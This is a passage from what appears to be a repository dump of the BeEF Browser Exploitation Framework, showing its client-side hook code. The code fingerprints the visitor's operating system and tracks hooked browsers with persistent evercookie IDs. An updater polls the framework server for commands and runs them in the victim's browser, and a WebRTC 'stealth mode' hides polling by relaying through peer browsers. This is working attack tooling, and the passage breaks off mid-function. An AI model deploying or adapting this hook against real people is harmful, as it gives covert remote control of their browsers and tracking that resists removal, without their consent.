ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n      if (range_match == null || range_match[1] == null) return false;\n      return true;\n    },\n\n    /**\n     * Sends back browser details to framework, calling beef.browser.getDetails()\n     */\n    browser_details: function () {\n        var details = beef.browser.getDetails();\n        var res = null;\n        details['HookSessionID'] = beef.session.get_hook_session_id();\n        this.send('/init', 0, details);\n        if(details != null)\n            res = true;\n\n        return res;\n    }\n\n};\n\n\nbeef.regCmp('beef.net');\n"
  },
  {
    "path": "core/main/client/os.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/** @namespace beef.os */\n\nbeef.os = {\n\n\tua: navigator.userAgent,\n\n\t/**\n\t  * Detect default browser (IE only)\n\t  * Written by unsticky\n\t  * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/\n\t  * @return {string}\n\t  */\n\tgetDefaultBrowser: function() {\n\t\tvar result = \"Unknown\"\n\t\ttry {\n\t\t\tvar mt = document.mimeType;\n\t\t\tif (mt) {\n\t\t\t\tif (mt == \"Safari Document\")       result = \"Safari\";\n\t\t\t\tif (mt == \"Firefox HTML Document\") result = \"Firefox\";\n\t\t\t\tif (mt == \"Chrome HTML Document\")  result = \"Chrome\";\n\t\t\t\tif (mt == \"HTML Document\")         result = \"Internet Explorer\";\n\t\t\t\tif (mt == \"Opera Web Document\")    result = \"Opera\";\n\t\t\t}\n\t\t} catch (e) {\n\t\t\tbeef.debug(\"[os] getDefaultBrowser: \"+e.message);\n\t\t}\n\t\treturn result;\n\t},\n\t\n\t// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin311: function() {\n\t\treturn (this.ua.match('(Win16)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinNT4: function() {\n\t\treturn (this.ua.match('(Windows NT 4.0)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin95: function() {\n\t\treturn (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinCE: function() {\n\t\treturn (this.ua.match('(Windows CE)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin98: function() {\n\t\treturn (this.ua.match('(Windows 98)|(Win98)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinME: function() {\n\t\treturn (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin2000: function() {\n\t\treturn (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin2000SP1: function() {\n\t\treturn (this.ua.match('Windows NT 5.01 ')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinXP: function() {\n\t\treturn (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinServer2003: function() {\n\t\treturn (this.ua.match('(Windows NT 5.2)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinVista: function() {\n\t\treturn (this.ua.match('(Windows NT 6.0)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin7: function() {\n\t\treturn (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin8: function() {\n\t\treturn (this.ua.match('(Windows NT 6.2)')) ? true : false;\n\t},\t\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin81: function() {\n\t\treturn (this.ua.match('(Windows NT 6.3)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWin10: function() {\n\t\treturn (this.ua.match('Windows NT 10.0')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOpenBSD: function() {\n\t\treturn (this.ua.indexOf('OpenBSD') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisSunOS: function() {\n\t\treturn (this.ua.indexOf('SunOS') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisLinux: function() {\n\t\treturn (this.ua.match('(Linux)|(X11)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisMacintosh: function() {\n\t\treturn (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxYosemite: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxMavericks: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxSnowLeopard: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisOsxLeopard: function(){ // TODO\n\t\treturn (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWinPhone: function() {\n\t\treturn (this.ua.match('(Windows Phone)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisIphone: function() {\n\t\treturn (this.ua.indexOf('iPhone') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisIpad: function() {\n\t\treturn (this.ua.indexOf('iPad') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisIpod: function() {\n\t\treturn (this.ua.indexOf('iPod') != -1) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisNokia: function() {\n\t\treturn (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisAndroid: function() {\n\t\treturn (this.ua.match('Android')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisBlackBerry: function() {\n\t\treturn (this.ua.match('BlackBerry')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWebOS: function() {\n\t\treturn (this.ua.match('webOS')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisQNX: function() {\n\t\treturn (this.ua.match('QNX')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisBeOS: function() {\n\t\treturn (this.ua.match('BeOS')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisAros: function() {\n\t\t\treturn (this.ua.match('AROS')) ? true : false;\n\t},\n\t/**\n\t * @return {boolean}\n\t */\n\tisWindows: function() {\n\t\treturn (this.ua.match('Windows')) ? true : false;\n\t},\n\t/**\n\t * @return {string}\n\t */\n\tgetName: function() {\n\t\t\n\t\tif(this.isWindows()){\n\t\t\treturn 'Windows';\n\t\t}\n\n\t\tif(this.isMacintosh()) {\n\t\t\treturn 'OSX';\n\t\t}\n\n\t\t//Nokia\n\t\tif(this.isNokia()) {\n\t\t\tif (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';\n\t\t\tif (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';\n\t\t\tif (this.ua.indexOf('Symbian') != -1) return 'Symbian';\n\t\t}\n\n\t\t// BlackBerry\n\t\tif(this.isBlackBerry()) return 'BlackBerry OS';\n\n\t\t// Android\n\t\tif(this.isAndroid()) return 'Android';\n\n\t\t// SunOS\n\t\tif(this.isSunOS()) return 'SunOS';\n\n\t\t//Linux\n\t\tif(this.isLinux()) return 'Linux';\n\n\t\t//iPhone\n\t\tif (this.isIphone()) return 'iOS';\n\t\t//iPad\n\t\tif (this.isIpad()) return 'iOS';\n\t\t//iPod\n\t\tif (this.isIpod()) return 'iOS';\n\t\t\n\t\t//others\n\t\tif(this.isQNX()) return 'QNX';\n\t\tif(this.isBeOS()) return 'BeOS';\n\t\tif(this.isWebOS()) return 'webOS';\n\t\tif(this.isAros()) return 'AROS';\n\t\t\n\t\treturn 'unknown';\n\t},\n\n  /**\n    * Get OS architecture.\n    * This may not be the same as the browser arch or CPU arch.\n    * ie, 32bit OS on 64bit hardware\n    */\n  getArch: function() {\n    var arch = 'unknown';\n    try {\n      var arch = platform.os.architecture;\n      if (!!arch)\n        return arch;\n    } catch (e) {}\n\n    return arch;\n  },\n\n  /**\n    * Get OS family\n    */\n  getFamily: function() {\n    var family = 'unknown';\n    try {\n      var family = platform.os.family;\n      if (!!family)\n        return family;\n    } catch (e) {}\n\n    return arch;\n  },\n\n  /**\n    * Get OS name\n\t* @return {string}\n    */\n\tgetVersion: function(){\n\t\t//Windows\n\t\tif(this.isWindows()) {\n\t\t\tif (this.isWin10())         return '10';\n\t\t\tif (this.isWin81())         return '8.1';\n\t\t\tif (this.isWin8())          return '8';\n\t\t\tif (this.isWin7())          return '7';\n\t\t\tif (this.isWinVista())      return 'Vista';\n\t\t\tif (this.isWinXP())         return 'XP';\n\t\t\tif (this.isWinServer2003()) return 'Server 2003';\n\t\t\tif (this.isWin2000SP1())    return '2000 SP1';\n\t\t\tif (this.isWin2000())       return '2000';\n\t\t\tif (this.isWinME())         return 'Millenium';\n\n\t\t\tif (this.isWinNT4())        return 'NT 4';\n\t\t\tif (this.isWinCE())         return 'CE';\n\t\t\tif (this.isWin95())         return '95';\n\t\t\tif (this.isWin98())         return '98';\n\t\t}\n\n\t\t// OS X\n\t\tif(this.isMacintosh()) {\n\t\t\tif (this.isOsxYosemite())        return '10.10';\n\t\t\tif (this.isOsxMavericks())       return '10.9';\n\t\t\tif (this.isOsxSnowLeopard())     return '10.8';\n\t\t\tif (this.isOsxLeopard())         return '10.7';\n\t\t}\n\n\t\t// TODO add Android/iOS version detection\n\t}\n};\n\nbeef.regCmp('beef.net.os');\n"
  },
  {
    "path": "core/main/client/session.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides basic session functions.\n * @namespace beef.session\n */\nbeef.session = {\n\t\n\thook_session_id_length: 80,\n\thook_session_id_chars: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\",\t\n\tec: new evercookie(),\n    beefhook: \"<%= @hook_session_name %>\",\n\t\n\t/**\n\t * Gets a string which will be used to identify the hooked browser session\n\t * \n\t * @example: var hook_session_id = beef.session.get_hook_session_id();\n\t */\n  \tget_hook_session_id: function() {\n\t\t// check if the browser is already known to the framework\n\t\tvar id = this.ec.evercookie_cookie(beef.session.beefhook);\n\t\tif (typeof id == 'undefined') {\n\t\t\tvar id = this.ec.evercookie_userdata(beef.session.beefhook);\n\t\t}\n\t\tif (typeof id == 'undefined') {\n\t\t\tvar id = this.ec.evercookie_window(beef.session.beefhook);\n\t\t}\n\t\t\n\t\t// if the browser is not known create a hook session id and set it\n\t\tif ((typeof id == 'undefined') || (id == null)) {\n\t\t\tid = this.gen_hook_session_id();\n\t\t\tthis.set_hook_session_id(id);\n\t\t}\n\t\t\n\t\t// return the hooked browser session identifier\n\t\treturn id;\n\t},\n\t\n\t/**\n\t * Sets a string which will be used to identify the hooked browser session\n\t * \n\t * @example: beef.session.set_hook_session_id('RANDOMSTRING');\n\t */\n  \tset_hook_session_id: function(id) {\n\t\t// persist the hook session id\n\t\tthis.ec.evercookie_cookie(beef.session.beefhook, id);\n\t\tthis.ec.evercookie_userdata(beef.session.beefhook, id);\n\t\tthis.ec.evercookie_window(beef.session.beefhook, id);\n\t},\n\t\n\t/**\n\t * Generates a random string using the chars in hook_session_id_chars.\n\t * \n\t * @example: beef.session.gen_hook_session_id();\n\t */\n  \tgen_hook_session_id: function() {\n\t    // init the return value\n\t\tvar hook_session_id = \"\";\n\t\t\n\t\t// construct the random string \n\t\tfor(var i=0; i<this.hook_session_id_length; i++) {\n\t\t  var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);\n\t\t  hook_session_id += this.hook_session_id_chars.charAt(rand_num);\n\t\t}\n\t\t\n\t\treturn hook_session_id;\n\t}\n};\n\nbeef.regCmp('beef.session');\n"
  },
  {
    "path": "core/main/client/timeout.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Sometimes there are timing issues and looks like beef_init\n * is not called at all (always in cross-origin situations,\n * for example calling the hook with jquery getScript,\n * or sometimes with event handler injections).\n * \n * To fix this, we call again beef_init after 1 second.\n * Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece\n * antisnatchor\n * @namespace beef.timeout\n */\n\n /**\n  * @memberof beef.timeout \n  * @function setTimeout \n  */\nsetTimeout(beef_init, 1000);\n"
  },
  {
    "path": "core/main/client/updater.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Object in charge of getting new commands from the BeEF framework and execute them.\n * The XHR-polling channel is managed here. If WebSockets are enabled,\n * websocket.js is used instead.\n * @namespace beef.updater\n */\nbeef.updater = {\n\t\n\t/** XHR-polling timeout. */ \n\txhr_poll_timeout: \"<%= @xhr_poll_timeout %>\",\n\t\n\t/** Hook session name. */ \n    beefhook: \"<%= @hook_session_name %>\",\n\t\n\t/** A lock. */ \n\tlock: false,\n\t\n\t/** An object containing all values to be registered and sent by the updater. */\n\tobjects: new Object(),\n\t\n\t/**\n\t * Registers an object to always send when requesting new commands to the framework.\n\t * @param {String} key the name of the object.\n\t * @param {String} value the value of that object.\n\t * \n\t * @example beef.updater.regObject('java_enabled', 'true');\n\t */\n\tregObject: function(key, value) {\n\t\tthis.objects[key] = escape(value);\n\t},\n\t\n\t// Checks for new commands from the framework and runs them.\n\tcheck: function() {\n\t\tif(this.lock == false) {\n\t\t\tif (beef.logger.running) {\n\t\t\t\tbeef.logger.queue();\n\t\t\t}\n\t\t\tbeef.net.flush();\n\t\t\tif(beef.commands.length > 0) {\n\t\t\t\tthis.execute_commands();\n\t\t\t}else {\n\t\t\t\tthis.get_commands();    /*Polling*/\n\t\t\t}\n\t\t}\n        /* The following gives a stupid syntax error in IE, which can be ignored*/\n        setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);\n\t},\n\t\n    /**\n     * Gets new commands from the framework.\n     */\n\tget_commands: function() {\n\t\ttry {\n\t\t\tthis.lock = true;\n            beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {\n                if (response.body != null && response.body.length > 0)\n                    beef.updater.execute_commands();\n            });\n\t\t} catch(e) {\n\t\t\tthis.lock = false;\n\t\t\treturn;\n\t\t}\n\t\tthis.lock = false;\n\t},\n\t\n    /**\n     * Executes the received commands, if any.\n     */\n\texecute_commands: function() {\n\t\tif(beef.commands.length == 0) return;\n\t\tthis.lock = true;\n\t\twhile(beef.commands.length > 0) {\n\t\t\tcommand = beef.commands.pop();\n\t\t\ttry {\n\t\t\t\tcommand();\n\t\t\t} catch(e) {\n\t\t\t\tbeef.debug('execute_commands - command failed to execute: ' + e.message);\n                // prints the command source to be executed, to better trace errors\n                // beef.client_debug must be enabled in the main config\n                beef.debug(command.toString());\n\t\t\t}\n\t\t}\n\t\tthis.lock = false;\n\t}\n};\n\nbeef.regCmp('beef.updater');\n"
  },
  {
    "path": "core/main/client/webrtc.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\n/**\n * Manage the WebRTC peer to peer communication channels.\n * This objects contains all the necessary client-side WebRTC components,\n * allowing browsers to use WebRTC to communicate with each other.\n * To provide signaling, the WebRTC extension sets up custom listeners.\n *  /rtcsignal - for sending RTC signalling information between peers\n *  /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.\n *\n * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes\n * the signalling.\n *\n * This is all mostly a Proof of Concept\n * @namespace beef.webrtc\n */\n\n/** \n * To handle multiple peers - we need to have a hash of Beefwebrtc objects. The key is the peer id. \n * @memberof beef.webrtc\n*/\nbeefrtcs = {};\n/** \n * To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects\n * these objects persist outside of everything else. The key is the peer id.\n * @memberof beef.webrtc\n */\nglobalrtc = {}; \n/** \n * stealth should only be initiated from one peer - this global variable will contain:\n * false - i.e not stealthed; or\n * <peerid> - i.e. the id of the browser which initiated stealth mode\n * @memberof beef.webrtc\n */\nrtcstealth = false; \n/** \n * To handle multiple event channels - we need to have a global hash of these. The key is the peer id \n * @memberof beef.webrtc\n*/\nrtcrecvchan = {}; \n\n/**\n * Beefwebrtc object - wraps everything together for a peer connection\n * One of these per peer connection, and will be stored in the beefrtc global hash\n * @memberof beef.webrtc\n * @param initiator \n * @param peer \n * @param turnjson \n * @param stunservers \n * @param verbparam \n */\nfunction Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {\n    this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not\n    this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver\n    this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer\n    this.turnjson = turnjson; // set of TURN servers in the format:\n                              // {\"username\": \"<username\", \"password\": \"<password>\", \"uris\": [\n                              //    \"turn:<ip>:<port>?transport=<udp/tcp>\",\n                              //    \"turn:<ip>:<port>?transport=<udp/tcp>\"]}\n    this.started = false; // Has signaling / dialing started for this peer\n    this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver\n    this.turnDone = false; // does the pcConfig have TURN servers added to it?\n    this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init\n                                 // the receiver will set this to true once it receives an SDP 'offer'\n    this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them\n    this.pcConfig = null; // We set this during init\n    this.pcConstraints = {\"optional\": [{\"googImprovedWifiBwe\": true}]} // PeerConnection constraints\n    this.offerConstraints = {\"optional\": [], \"mandatory\": {}}; // Default SDP Offer Constraints - used in the caller\n    this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver\n    this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates\n    this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?\n    this.dataChannel = null; // The data channel used by this peer\n    this.stunservers = stunservers; // set of STUN servers, in the format:\n                                    // [\"stun:stun.l.google.com:19302\",\"stun:stun1.l.google.com:19302\"]\n}\n\n/**\n * Initialize the object\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.initialize = function() {\n  if (this.peerid == null) {\n    return 0; // no peerid - NO DICE\n  }\n\n  // Initialise the pcConfig hash with the provided stunservers\n  var stuns = JSON.parse(this.stunservers);\n  this.pcConfig = {\"iceServers\": [{\"urls\":stuns, \"username\":\"user\",\n    \"credential\":\"pass\"}]};\n\n  // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF\n  // this.forceTurn(this.turnjson);\n  this.turnDone = true;\n\n  // Caller is always ready to create peerConnection.\n  this.signalingReady = this.initiator;\n\n  // Start .. maybe \n  this.maybeStart();\n\n  // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out\n  // window.onbeforeunload = function() {\n  //   this.sendSignalMsg({type: 'bye'});\n  // }\n\n  return 1; // because .. yeah .. we had a peerid - this is good yar.\n}\n\n/** \n * Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)\n * These values are now simply passed in from the config.yaml for the webrtc extension\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.forceTurn = function(jason) {\n    var turnServer = JSON.parse(jason);\n    var iceServers = createIceServers(turnServer.uris,\n                                      turnServer.username,\n                                      turnServer.password);\n    if (iceServers !== null) {\n        this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);\n    }\n    beef.debug(\"Got TURN servers, will try and maybestart again..\");\n    this.turnDone = true;\n    this.maybeStart();\n}\n\n/**\n * Try and establish the RTC connection\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.createPeerConnection = function() {\n  beef.debug('Creating RTCPeerConnnection with the following options:\\n' +\n            '  config: \\'' + JSON.stringify(this.pcConfig) + '\\';\\n' +\n            '  constraints: \\'' + JSON.stringify(this.pcConstraints) + '\\'.');\n  try {\n    // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).\n    globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);\n    globalrtc[this.peerid].onicecandidate = this.onIceCandidate;\n    beef.debug('Created RTCPeerConnnection with the following options:\\n' +\n              '  config: \\'' + JSON.stringify(this.pcConfig) + '\\';\\n' +\n              '  constraints: \\'' + JSON.stringify(this.pcConstraints) + '\\'.');\n    \n  } catch (e) {\n    beef.debug('Failed to create PeerConnection, exception: ');\n    beef.debug(e);\n    return;\n  }\n\n  // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc\n  globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;\n  globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;\n  globalrtc[this.peerid].ondatachannel = this.onDataChannel;\n  this.dataChannel = globalrtc[this.peerid].createDataChannel(\"sendDataChannel\", {reliable:false});\n}\n\n/** \n * When the PeerConnection receives a new ICE Candidate \n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onIceCandidate = function(event) {\n  var peerid = null;\n\n  for (var k in beefrtcs) {\n    if (beefrtcs[k].allgood === false) {\n      peerid = beefrtcs[k].peerid;\n    }\n  }\n\n  beef.debug(\"Handling onicecandidate event while connecting to peer: \" + peerid + \". Event received:\");\n  beef.debug(event);\n\n  if (event.candidate) {\n    // Send the candidate to the peer via the BeEF signalling channel\n    beefrtcs[peerid].sendSignalMsg({type: 'candidate',\n                 label: event.candidate.sdpMLineIndex,\n                 id: event.candidate.sdpMid,\n                 candidate: event.candidate.candidate});\n    // Note this ICE candidate locally\n    beefrtcs[peerid].noteIceCandidate(\"Local\", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));\n  } else {\n    beef.debug('End of candidates.');\n  }\n}\n\n/**\n * For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function\n * This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage\n * against the message directly\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.processMessage = function(message) {\n  beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));\n  var msg = JSON.parse(message);\n\n  if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer\n    beef.debug('processing the message, as a receiver');\n    if (msg.type === 'offer') { // This IS an SDP Offer\n      beef.debug('.. and the message is an offer .. ');\n      this.msgQueue.unshift(msg); // put it on the top of the msgqueue\n      this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true\n      this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed\n    } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue\n      beef.debug(' .. the message is NOT an offer .. ');\n      this.msgQueue.push(msg);\n    }\n  } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer\n    beef.debug('processing the message, as the sender, no answers yet');\n    if (msg.type === 'answer') { // This IS an SDP Answer\n        beef.debug('.. and we have an answer ..');\n        this.processSignalingMessage(msg); // Process the message directly\n        this.gotanswer = true; // We have now received an answer\n        //process all other queued message...\n        while (this.msgQueue.length > 0) {\n            this.processSignalingMessage(this.msgQueue.shift());\n        }\n    } else { // This is NOT an SDP Answer - as the caller, just add it to the queue\n        beef.debug('.. not an answer ..');\n        this.msgQueue.push(msg);\n    }\n  } else { // For all other messages just drop them in the queue\n    beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');\n    this.processSignalingMessage(msg);\n  } \n}\n\n/** \n * Send a signalling message ..\n * @memberof beef.webrtc\n */ \nBeefwebrtc.prototype.sendSignalMsg = function(message) {\n  var msgString = JSON.stringify(message);\n  beef.debug('Signalling Message - C->S: ' + msgString);\n  beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});\n}\n\n/**\n * Used to record ICS candidates locally\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.noteIceCandidate = function(location, type) {\n  if (this.gatheredIceCandidateTypes[location][type])\n    return;\n  this.gatheredIceCandidateTypes[location][type] = 1;\n  // updateInfoDiv();\n}\n\n\n/**\n * When the signalling state changes. We don't actually do anything with this except log it.\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onSignalingStateChanged = function(event) {\n  beef.debug(\"Signalling has changed to: \" + event.target.signalingState);\n}\n\n/**\n * When the ICE Connection State changes - this is useful to determine connection statuses with peers.\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onIceConnectionStateChanged = function(event) {\n  var peerid = null;\n\n  for (k in globalrtc) {\n    if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {\n      peerid = k;\n    }\n  }\n\n  beef.debug(\"ICE with peer: \" + peerid + \" has changed to: \" + event.target.iceConnectionState);\n\n  // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for \n  // better candidates or connections\n  if (event.target.iceConnectionState === 'connected') {\n    //Send status to peer\n    window.setTimeout(function() {\n        beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);\n        beefrtcs[peerid].allgood = true;\n        },1000);\n  }\n\n  // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.\n  if (event.target.iceConnectionState === 'completed') {\n    window.setTimeout(function() {\n      beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);\n      beefrtcs[peerid].allgood = true;\n    },1000);\n  }\n\n  if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {\n    //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth\n    rtcstealth = false;\n    beefrtcs[peerid].allgood = false;\n    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + \" - has apparently gotten disconnected\"});\n  } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {\n    //I was not in stealth, and this peer has gone offline - send a message\n    beefrtcs[peerid].allgood = false;\n    beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + \" - has apparently gotten disconnected\"});\n  }\n  // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth\n  // This is possibly a bad idea - @xntrik\n\n\n}\n\n/**\n * This is the function when a peer tells us to go into stealth by sending a dataChannel message of \"!gostealth\"\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.goStealth = function() {\n    //stop the beef updater\n    rtcstealth = this.peerid; // this is a global variable\n    beef.updater.lock = true;\n    this.sendPeerMsg('Going into stealth mode');\n\n    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);\n}\n\n/**\n * This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it\n * @memberof beef.webrtc\n */\nrtcpollPeer = function() {\n    if (rtcstealth == false) {\n        //my peer has disabled stealth mode\n        beef.updater.lock = false;\n        return;\n    }\n\n    beef.debug('lub dub');\n\n    beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth\n\n    setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);\n}\n\n/** \n * When a data channel has been established - within here is the message handling function as well\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onDataChannel = function(event) {\n  var peerid = null;\n  for (k in globalrtc) {\n    if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {\n      peerid = k;\n    }\n  }\n\n  beef.debug(\"Peer: \" + peerid + \" has just handled the onDataChannel event\");\n  rtcrecvchan[peerid] = event.channel;\n\n  // This is the onmessage event handling within the datachannel\n  rtcrecvchan[peerid].onmessage = function(ev2) {\n    beef.debug(\"Received an RTC message from my peer[\"+peerid+\"]: \" + ev2.data);\n\n    // We've received the command to go into stealth mode\n    if (ev2.data == \"!gostealth\") {\n        if (beef.updater.lock == true) 